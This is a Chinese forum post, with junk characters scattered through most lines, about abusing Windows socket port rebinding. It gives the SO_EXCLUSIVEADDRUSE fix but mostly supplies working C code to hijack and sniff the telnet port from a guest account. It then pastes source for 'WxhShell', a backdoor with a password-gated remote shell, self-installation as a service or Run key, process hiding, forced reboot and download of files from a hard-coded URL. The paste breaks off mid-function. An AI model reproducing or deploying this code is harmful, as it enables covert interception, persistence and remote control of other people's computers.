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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 4?]s%2U6  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); iu$Y0.H@  
_YN C}PUU  
  saddr.sin_family = AF_INET; g9Ty%|Q7(  
c< sq0('`  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 8T8]gM  
PAH#yM2Ic  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr));  yyGn <  
Gz4LjMQ &  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 7eW6$$ju,N  
C}ASVywc,1  
  这意味着什么?意味着可以进行如下的攻击: Qjd]BX;  
x`I"%pG  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 FD[4?\W]#  
30<_`  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) >DN^',FEm  
3S1{r )[j  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 4O:HT m  
,t!I%r  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  m}f{o  
pktnX-Slt  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 N36B*9m&p  
Ua4P@#cU  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 6R*eJICN  
7`e<H8g  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ENI|e,'[  
|XMWi/p  
  #include ,!X:wY}dW  
  #include 8"A0@fNz  
  #include +11 oVW  
  #include    sXtt$HID=  
  DWORD WINAPI ClientThread(LPVOID lpParam);   h>p,r\X  
  int main() h,6> ^A  
  { Sj IDzNI5  
  WORD wVersionRequested; phB d+zQc  
  DWORD ret; m_FTg)_=  
  WSADATA wsaData; 7PwH&rI  
  BOOL val; Ocz21gl-?`  
  SOCKADDR_IN saddr; *_]fe&s=%  
  SOCKADDR_IN scaddr; *1T~ruNqa  
  int err; )<Mo.  
  SOCKET s; r%>EiHpCU  
  SOCKET sc; #4!f/dWJp  
  int caddsize; l<'}`  
  HANDLE mt; $`R=Q  
  DWORD tid;   m)]|mYjju  
  wVersionRequested = MAKEWORD( 2, 2 ); )@] W=  
  err = WSAStartup( wVersionRequested, &wsaData ); @1U6sQ  
  if ( err != 0 ) { [z6P]eC7  
  printf("error!WSAStartup failed!\n"); :Zo^Uc:*w  
  return -1; eu?P6>urA  
  } [{#n?BT  
  saddr.sin_family = AF_INET; ~M1T @Mv  
   HGi%b5:<=M  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 t3C#$ >  
n57mh5mixM  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); B*P;*re  
  saddr.sin_port = htons(23); =LEzcq>XO  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;bL?uL  
  { s.XxYXR\  
  printf("error!socket failed!\n"); r{_1M>F D!  
  return -1; >GzH_]  
  } T'9M  
  val = TRUE; qD /h/  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 r"p"UW9og  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) _X@ Q`d  
  { 88 ca  
  printf("error!setsockopt failed!\n"); t{`-G*^  
  return -1; BqdGU-Q  
  } 9;rZ)QD  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ;yCtk ~T%  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 6zi Mf  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Zu>CR_C  
XpA|<s  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) &)|f|\yh"  
  { lwo,D}  
  ret=GetLastError(); uKB V`I  
  printf("error!bind failed!\n"); : qV|rih_Q  
  return -1; jS5K:yx<  
  } 7|Iq4@IT  
  listen(s,2); z6h/C {  
  while(1) ]BTISaL-R  
  { u'gsIuRJ  
  caddsize = sizeof(scaddr); Q5IN1 ^=HF  
  //接受连接请求 QUF1_Sa  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); &4)PW\ioY  
  if(sc!=INVALID_SOCKET) 0UGAc]!/RZ  
  { dEor+5}  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); zm4e+v-  
  if(mt==NULL) 5bsv05=e  
  { i98PlAq)B  
  printf("Thread Creat Failed!\n"); +eop4 |Z  
  break; y+ izC+  
  } A2Iqn5  
  } T(k:\z/  
  CloseHandle(mt); L Z3=K`gj  
  } q^~w:$^ U  
  closesocket(s); o[S Mt  
  WSACleanup(); z5sKV7&\[n  
  return 0; -qLNs_ _k  
  }   %6Y}0>gY  
  DWORD WINAPI ClientThread(LPVOID lpParam) @[n%q.|VB  
  { D2io3Lo$ov  
  SOCKET ss = (SOCKET)lpParam; }/g1  
  SOCKET sc; v[a4d&P  
  unsigned char buf[4096]; ZB5NTNf>  
  SOCKADDR_IN saddr; G B>T3l"  
  long num; akwS;|SZ  
  DWORD val; "IWL& cH3  
  DWORD ret; w"A>mEex<  
  //如果是隐藏端口应用的话,可以在此处加一些判断 "c![s%  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   $]?M[sL\N7  
  saddr.sin_family = AF_INET; eO{2rV45O  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Wck WX]};S  
  saddr.sin_port = htons(23); pwF])uf*{\  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Hq,N OP  
  { eEeK ] 8@  
  printf("error!socket failed!\n"); gV'=u z v  
  return -1; -NDB.~E^DJ  
  } %*Yb J_j7  
  val = 100; ~$7YEs)  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0f;|0siTAm  
  { ~Q=^YZgn8  
  ret = GetLastError(); |8{ \j*3  
  return -1; 2,.8 oa(  
  } ,{Z!T5 |  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3v)`` n@  
  { G@<[fO|Iam  
  ret = GetLastError(); Su'l &]  
  return -1; w" A{R  
  } @^HZTuP2;  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Tb] h<S  
  { W@~a#~1O  
  printf("error!socket connect failed!\n"); \JNWL yw  
  closesocket(sc); )=0@4   
  closesocket(ss); VxU{ZD~<Z"  
  return -1; ,~NJ}4wP  
  } cOP%R_ak?  
  while(1) i^rHZmT  
  { `<% w4 E  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 mrlhj8W?!  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 tpP68)<ns  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 w}x&wWM  
  num = recv(ss,buf,4096,0); [Fr <tKtB  
  if(num>0) t<+gyAW  
  send(sc,buf,num,0); >E>'9@Uh  
  else if(num==0) qi8~bQ{rH  
  break; sT91>'&  
  num = recv(sc,buf,4096,0); 5J3K3  
  if(num>0) >~T2MlRux  
  send(ss,buf,num,0); MnptC 1N  
  else if(num==0) yeV|j\TJI.  
  break; WX $AOnEv  
  } ?nf4K/IjZ!  
  closesocket(ss); }/7rA)_  
  closesocket(sc); ?6:e%YT  
  return 0 ; jf& oN]sZ  
  } Ystd[  
hTQ]xN)  
")W5`9  
========================================================== y"ms;w'z  
u/5)Yx+5_  
下边附上一个代码,,WXhSHELL r<"k /  
p Acu{5#7  
========================================================== $u,`bX  
*,wW-8  
#include "stdafx.h" ~JOC8dO  
8`q"] BQN  
#include <stdio.h> '^.3}N{Fo  
#include <string.h> 0Rh*SoYrC  
#include <windows.h> z@xkE ,j>  
#include <winsock2.h> E |=]k  
#include <winsvc.h> i6E~]&~.v  
#include <urlmon.h> %v]-:5g'|  
' h|d-p\`9  
#pragma comment (lib, "Ws2_32.lib") =%+xNOdN7?  
#pragma comment (lib, "urlmon.lib") x|3G}[=  
^]$rh.7&  
#define MAX_USER   100 // 最大客户端连接数 ~|`jIqU  
#define BUF_SOCK   200 // sock buffer 4n2*2 yTg  
#define KEY_BUFF   255 // 输入 buffer 44UN*_qG  
g=S|lVQm  
#define REBOOT     0   // 重启 prVqV-S6TY  
#define SHUTDOWN   1   // 关机 J8DKia|h(  
smuQ1.b  
#define DEF_PORT   5000 // 监听端口 @Sz7*p  
, L8(Vo`-  
#define REG_LEN     16   // 注册表键长度 Ewo6Q){X  
#define SVC_LEN     80   // NT服务名长度 gq)uv`3  
R78lV -};Q  
// 从dll定义API ;-kg3fGB1Q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [<#`@Kr  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <rNz&;m}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  OF`:);  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); aOW$H:b  
oh >0}Gc8  
// wxhshell配置信息 *BQy$dfE  
struct WSCFG { Aj@t*3  
  int ws_port;         // 监听端口 _;G|3>5u  
  char ws_passstr[REG_LEN]; // 口令 IHe?/oUL"b  
  int ws_autoins;       // 安装标记, 1=yes 0=no *GM.2``e  
  char ws_regname[REG_LEN]; // 注册表键名 ;vgaFc]  
  char ws_svcname[REG_LEN]; // 服务名 \B8[UZA.&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 n*N`].r#{=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 CSMx]jbb  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [3(lk_t  
int ws_downexe;       // 下载执行标记, 1=yes 0=no f`p"uLNo<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" HO39>:c  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $eh>.c'&]  
@Y+9")?  
}; *g 2N&U  
dxF)) Z  
// default Wxhshell configuration Qx77%L4  
struct WSCFG wscfg={DEF_PORT, Gv 6#LcF#  
    "xuhuanlingzhe", wmFS+F4`2  
    1, FJ O- p  
    "Wxhshell", @5TJ]=  
    "Wxhshell", 2Xp?O+b#"O  
            "WxhShell Service", A)D1 #,0  
    "Wrsky Windows CmdShell Service", 6?3\P>`3Y  
    "Please Input Your Password: ", ?rgtbiSW-  
  1, (e[8`C  
  "http://www.wrsky.com/wxhshell.exe", f_tC:T4a  
  "Wxhshell.exe" ~a.ei^r  
    }; &fgfCZz'  
Tw9?U,]  
// 消息定义模块 @%$<,$=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; h,P#)^"  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {8J+ Y}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,+E"s3NW  
char *msg_ws_ext="\n\rExit."; zT jk^  
char *msg_ws_end="\n\rQuit."; o$,e#q)8  
char *msg_ws_boot="\n\rReboot..."; (hIy31Pf  
char *msg_ws_poff="\n\rShutdown..."; 'E1m-kJz  
char *msg_ws_down="\n\rSave to "; a &tl@y1  
u/X1v-2  
char *msg_ws_err="\n\rErr!"; 0 I[3%Q{  
char *msg_ws_ok="\n\rOK!"; Lz}mz-N  
RL1cx|  
char ExeFile[MAX_PATH]; Y f;Slps  
int nUser = 0; l\~F0Z/O  
HANDLE handles[MAX_USER]; i^&^eg'.5  
int OsIsNt; 1WLaJ%Fv  
5U%a$.yr  
SERVICE_STATUS       serviceStatus; 9Zpd=m8dU  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; F]^ZdJ2  
A\~tr   
// 函数声明 <5l!xzvw  
int Install(void); R]Pv=fn  
int Uninstall(void); M`.v/UQn  
int DownloadFile(char *sURL, SOCKET wsh); G^_fbrZjN  
int Boot(int flag); ;bes#|^F  
void HideProc(void); @ykM98K  
int GetOsVer(void); Y%)@)$sK  
int Wxhshell(SOCKET wsl); [V.#w|n  
void TalkWithClient(void *cs); x8E!Ko](  
int CmdShell(SOCKET sock); ^Euqy,8}  
int StartFromService(void); zX ?@[OT  
int StartWxhshell(LPSTR lpCmdLine); ?DKwKt  
?ZT+4U00U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); WY" `wM  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); H6]z98  
wdTjJf r  
// 数据结构和表定义 by0M(h  
SERVICE_TABLE_ENTRY DispatchTable[] = $${9 %qPzb  
{ =9#cf-?  
{wscfg.ws_svcname, NTServiceMain}, R(N5K4J  
{NULL, NULL} X2hyxTOp  
}; fkK42*U@r  
\Dr?}D  
// 自我安装 P+[\9Gg  
int Install(void) K,L  
{ tJ!s/|u(  
  char svExeFile[MAX_PATH]; NU$?BiB?R  
  HKEY key; 8^6dK  
  strcpy(svExeFile,ExeFile); SFx|9$hXm  
UBve a(z-#  
// 如果是win9x系统,修改注册表设为自启动 C.oC@P  
if(!OsIsNt) { u.L{3gkT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zQ~8(E]Rf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uP veAK}h  
  RegCloseKey(key); V.Ki$0>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O %?d0K  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0*}%v:uN9  
  RegCloseKey(key); Fb9!x/$tGV  
  return 0; 7!"OF  
    } q\a'pp9d  
  } _qQB.Dzo:  
} /4PV<[ :_  
else { >@9>bI+Q  
86N"EuH$  
// 如果是NT以上系统,安装为系统服务 x7 l3&;yDv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); yUzpl[*e^o  
if (schSCManager!=0) 1lLL9l{UVw  
{ 0413K_  
  SC_HANDLE schService = CreateService U k*HRudt  
  ( Z 7s (g]  
  schSCManager, Y]gb`z$?  
  wscfg.ws_svcname, sM$gfFx  
  wscfg.ws_svcdisp, .,5N/p"aV  
  SERVICE_ALL_ACCESS, a+Z95~*sZ"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?Wz rv&E2  
  SERVICE_AUTO_START, ?E:L6,a  
  SERVICE_ERROR_NORMAL, 98AX=%8  
  svExeFile, N]6M4j!  
  NULL, &?mJL0fy  
  NULL, L#^'9v}Hb  
  NULL, 8Qt'Y9|  
  NULL, cy-Bhk0H  
  NULL {@8TGHKv  
  ); R"`7aa6  
  if (schService!=0) wa*/Am9;~  
  { \$] V#@F  
  CloseServiceHandle(schService); ow{SsX  
  CloseServiceHandle(schSCManager); qFD#D_O6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <_~>YJ  
  strcat(svExeFile,wscfg.ws_svcname); o|?bvFC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :L!O/Bd8V  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Eax^1 |6  
  RegCloseKey(key); ni$S@0  
  return 0; 6(uK5eD(!n  
    } UfUboxT  
  } $<(FZb=  
  CloseServiceHandle(schSCManager); Zw`vPvb!  
} ufekhj  
} *6trK`tx^  
}+fMYgw  
return 1; _b8?_Zq  
} k[p7)ec  
] %y3*N@AZ  
// 自我卸载 Rr|&~%#z  
int Uninstall(void) {:;599l  
{ *$I5_A8,.  
  HKEY key; = UT^5cl(  
(ugB3o  
if(!OsIsNt) { C \B&'+uR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LK1 r@  
  RegDeleteValue(key,wscfg.ws_regname); (79y!&9p  
  RegCloseKey(key); 1k *gbXb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Uz`K#Bz   
  RegDeleteValue(key,wscfg.ws_regname); NBUSr}8|  
  RegCloseKey(key); _*I@ J/  
  return 0; i,Q{Z@,  
  } ymxYE#q  
} m.}Yn,  
} (\UA+3$4  
else { YGj3W.eH  
Rt[zZv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); t'@qb~sf  
if (schSCManager!=0) _ xAL0 (  
{ `T gwa  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); K38A;=t9  
  if (schService!=0) T7!"gJ  
  { ^\z.E?v%  
  if(DeleteService(schService)!=0) { 0 =2D 90  
  CloseServiceHandle(schService); ;%_fQNFb  
  CloseServiceHandle(schSCManager); ,(6U3W*bu  
  return 0; l<]@5"wN  
  } $~[k?D  
  CloseServiceHandle(schService); 7eh<>X!TX  
  } FOFZ/q  
  CloseServiceHandle(schSCManager); #Tjv(O[&  
} py9HUyr5eZ  
} 'ow`ej  
=X0"!y"  
return 1; YM idSfi  
} %YI Xk1  
o<hT/ P  
// 从指定url下载文件 @o[C Xrz  
int DownloadFile(char *sURL, SOCKET wsh) GtCbzNY  
{ ]5+db0  
  HRESULT hr; lm?1 K:+[  
char seps[]= "/"; L|7F%oR  
char *token; Q!%4Iq%jr  
char *file; "t-u=aDl-.  
char myURL[MAX_PATH]; uz(3ml^S  
char myFILE[MAX_PATH]; nty^De%  
XQW+6LEQ  
strcpy(myURL,sURL); x2|YrkGv  
  token=strtok(myURL,seps); S+mZ.aFS0z  
  while(token!=NULL) ~i4h.ZLj  
  { _k0 X)N+li  
    file=token; q"|,HpQ  
  token=strtok(NULL,seps); t4a/\{/#9|  
  } #+v Iq?  
RJo"yB$1e6  
GetCurrentDirectory(MAX_PATH,myFILE); ~VRt 6C  
strcat(myFILE, "\\"); j{i3lGaN  
strcat(myFILE, file); 7gLN7_2  
  send(wsh,myFILE,strlen(myFILE),0); eVobs2s  
send(wsh,"...",3,0); 1e 8J-Nkj  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); T+OQa+E@P  
  if(hr==S_OK) 1^*M*>&d<  
return 0; `h>a2   
else Q -!,yCu  
return 1; @A_bZQ@  
DriJn`vtzq  
} Oie0cz:>:  
X}~5%B(  
// 系统电源模块 QBg~b{h  
int Boot(int flag) nhfHY-l} 7  
{ %Ts6M,Fpp  
  HANDLE hToken; y~.k-b<{[  
  TOKEN_PRIVILEGES tkp; 6;02_C]\o  
$*035f  
  if(OsIsNt) { bZ-"R 6a$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #}/YnVk  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @WV}VKm  
    tkp.PrivilegeCount = 1; vtvF)jlX  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "ooq1 0P  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ionFPc].  
if(flag==REBOOT) { Sn I-dXNF  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) i@=0fHiZQ  
  return 0; i`]-rM%J#  
} 8X6F6RK6,1  
else { CCCd=s.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) W 6_~.m"b  
  return 0; 5B&#Sh`r  
} uM!$`JN  
  } F~;G [6}  
  else { -6URM`y'j  
if(flag==REBOOT) { )ZU)$dJ>V  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) K3uNR w  
  return 0; #kO.'oIl  
} z=}@aX[  
else { BT|5"b}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Q>jx`68'KI  
  return 0; 9] i$`y  
} K.y2 $b/  
} C+, JLK  
=J2\"6BnzA  
return 1; T6gugDQ~.  
} }:5_vH0  
Pc+8CuN?  
// win9x进程隐藏模块 :[;]6;  
void HideProc(void) 1o&] =(  
{ IFrq\H0  
f`zH#{u  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  Q.3oDq  
  if ( hKernel != NULL ) Q&zEa0^rG6  
  { ^6tcB* #A  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); l98.Hb7  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "pP5;*^f  
    FreeLibrary(hKernel); V-#OiMWa~  
  } AqPE.mf  
T7vSp<i/  
return; YL(7l|^!  
} 85>WK+=  
9ANC,+0p  
// 获取操作系统版本 aq'd C=y  
int GetOsVer(void) ikr|P&e#u  
{ koi QJdK  
  OSVERSIONINFO winfo;  b)7uz>I  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); j"FX ?|4  
  GetVersionEx(&winfo); 4 1w*<{Lk  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) r:[N#*kK  
  return 1; 7+I%0U}m  
  else t<_Jx<{2  
  return 0; :lF[k`S T  
} /i$-ws-  
wzLR]<6G  
// 客户端句柄模块 f.V1  
int Wxhshell(SOCKET wsl) wYZ"fusT  
{ ds@w=~  
  SOCKET wsh; G#V}9l8 Q  
  struct sockaddr_in client; AJ0qq  
  DWORD myID; oV4+w_rrLc  
ttEQgkd`  
  while(nUser<MAX_USER) Z3:M%)e_u$  
{ I6bekOvP  
  int nSize=sizeof(client); <SiD m-=E  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7@[3]c<=  
  if(wsh==INVALID_SOCKET) return 1; bjgf8427I  
4nC`DJ;V  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); KfC8~{O-  
if(handles[nUser]==0) xM ]IU <  
  closesocket(wsh); 4vri=P 2%  
else q3+G  
  nUser++; 2k\i/i/Y  
  } 3j{VpacZY  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9fk@C/$  
#[.vfG  
  return 0; qT`sPEs;V  
} z^+`S:  
\ (y6o}aW  
// 关闭 socket #+mt}w/  
void CloseIt(SOCKET wsh) w28!Yj1Q  
{ MQL1/>j;  
closesocket(wsh); ,2Y P D4  
nUser--; fz%I'+!  
ExitThread(0); ftVA  
} %bM^/7  
rlj @ '  
// 客户端请求句柄 QPe+K61U  
void TalkWithClient(void *cs) ]B;GU  
{ r 5!ie!5gE  
(TufvHC  
  SOCKET wsh=(SOCKET)cs; \Y)pm9!  
  char pwd[SVC_LEN]; oY!nM%z/  
  char cmd[KEY_BUFF]; 44H#8kV  
char chr[1]; 13oR-Stj|  
int i,j; ]LFY2w<  
Z]$RO  
  while (nUser < MAX_USER) { [ emUyF  
j, SOL9yg  
if(wscfg.ws_passstr) { (kpn"]^'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =bJj;bc'5  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g~ tG  
  //ZeroMemory(pwd,KEY_BUFF); ~n)!e#p  
      i=0; C$X )I~M  
  while(i<SVC_LEN) { % K$om|]p  
w7b?ve3-  
  // 设置超时 \Mk;Y  
  fd_set FdRead; 't2dP,u<-  
  struct timeval TimeOut; \3P.GS{l  
  FD_ZERO(&FdRead); O'5d6m  
  FD_SET(wsh,&FdRead); "=l<%em  
  TimeOut.tv_sec=8; P;%4Imq3  
  TimeOut.tv_usec=0; 7aH E:Dnwp  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); liEb(<$a  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); DlB"o.  
hZ0p /Bdv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FA 1E`AdU  
  pwd=chr[0]; G~Xh4*#J  
  if(chr[0]==0xd || chr[0]==0xa) { L8<Yk`jx  
  pwd=0; F...>%N$  
  break; xPa>-N=*  
  } {^TVZdw  
  i++; 2ql7*g?Uq@  
    } +P C<#  
K&(}5`H0=  
  // 如果是非法用户,关闭 socket "y R56`=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9/$D&tRN  
} &1hJ?uM01  
]=A=VH&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 28l",j)S  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^%X,Rml<e  
RX",Zt$q  
while(1) { \~H; Wt5  
3VJoH4E!6  
  ZeroMemory(cmd,KEY_BUFF); i2or/(u`  
]?P9M<0PM  
      // 自动支持客户端 telnet标准   x)6yWr[ri%  
  j=0; te ?R(&  
  while(j<KEY_BUFF) { @kR/=EfS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M[5zn  
  cmd[j]=chr[0]; <y${Pkrj  
  if(chr[0]==0xa || chr[0]==0xd) { ien >Ou  
  cmd[j]=0; @:$zReS2  
  break; |CME:;{T  
  } *&X.  
  j++; #4h_(Y  
    } !:Lb^C;/  
&(!Sy?tNe  
  // 下载文件 (>m3WI$d  
  if(strstr(cmd,"http://")) { L]{ 1"`#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); A8JEig 3Ix  
  if(DownloadFile(cmd,wsh)) csTX',c  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); OZ?4"1$.t  
  else |;q*Zy(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5m")GWQaP@  
  } p#}38`  
  else { l[]K5?AS>-  
;EP]A3  
    switch(cmd[0]) { L2>UA<@mZ  
  Q2;zve&Dl  
  // 帮助 n50XGv  
  case '?': { v'`9^3(-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 41%B%K*  
    break; q_Td!?2?  
  } 2Up1 FFRx  
  // 安装 ;$W/le"Xr  
  case 'i': { Y7R"~IA$  
    if(Install()) |xaJv:96%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Mf0g)X}1  
    else T:Dp+m!\{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )L#C1DP#  
    break; mLM$dk3  
    } 7*5$=z4,1  
  // 卸载 hx$-d}W{  
  case 'r': { Qg+0(odd  
    if(Uninstall()) )%8oE3O#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VXvr`U\  
    else _H|c _  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zECdj'/  
    break; =p>"PqJ/7n  
    } P/._ tQu6  
  // 显示 wxhshell 所在路径 y|!%C-P  
  case 'p': { Xui${UYN  
    char svExeFile[MAX_PATH]; gkS#=bv9e@  
    strcpy(svExeFile,"\n\r"); | ]`gps  
      strcat(svExeFile,ExeFile); m`UNdFS  
        send(wsh,svExeFile,strlen(svExeFile),0); Z~o*$tF/  
    break; )AOD~T4s7  
    } =?UCtYN,P  
  // 重启 0N.tPF}  
  case 'b': { IWN:GFH(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); h d1H  
    if(Boot(REBOOT)) yvo~'k#c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '01H8er  
    else { |i-Qfpn  
    closesocket(wsh); xKKL4ws  
